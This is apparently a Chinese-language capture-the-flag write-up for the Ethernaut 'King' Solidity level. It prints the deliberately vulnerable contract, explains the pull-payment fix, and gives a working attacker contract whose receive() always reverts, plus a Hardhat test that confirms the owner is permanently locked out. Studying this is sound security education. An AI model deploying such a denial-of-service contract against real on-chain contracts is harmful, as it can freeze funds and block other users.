LEVEL 9 (King):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
通关要求
1.夺取king
2.阻止owner夺回king
要点
1.合约的storage都是可以见的,包含private
2.调用transfer是会报错(例如gas不够/receive故意revert),这样会阻止后续的业务,可以用send/call再判断返回结果,不过这个也不是最好的方案,因为如果失败了,那用户如何再取回退款?
所以比较好的方案是,不在其他业务逻辑里直接退,业务只打可退款标识之类,再提供一个根据标识领取退款的对外方法(当然记得退完要更新已领标识)
解题思路
1.查看prize后直接转账
contracts/09KingRun.sol
function run(address _levelAddress) external payable{
//transfer会失败,2300gas限制了
(bool result,) = payable(_levelAddress).call{value:msg.value}("");
if(!result) revert("call error");
}
//条件二:阻止转账(其实不实现这个方法也是阻止的)
receive() external payable {
revert("not receive");
}
test/09King.js
it("attacks", async function () {
await runContract.connect(player).run(levelContract.address, {
value: 1000000000000000 + 1,
});
});
it("check", async function () {
//检查通过条件
//1.king不再是levelOwner
//2.levelOwner无法通过转账取回King
expect(await levelContract._king()).to.equal(runContract.address);
let isException = false;
try {
await levelOwner.sendTransaction({
to: levelContract.address,
value: 1000,
});
} catch (e) {
isException = true;
//异常才是对的
}
expect(isException).to.equal(true);
expect(await levelContract._king()).to.not.equal(levelOwner.address);
});
Top comments (0)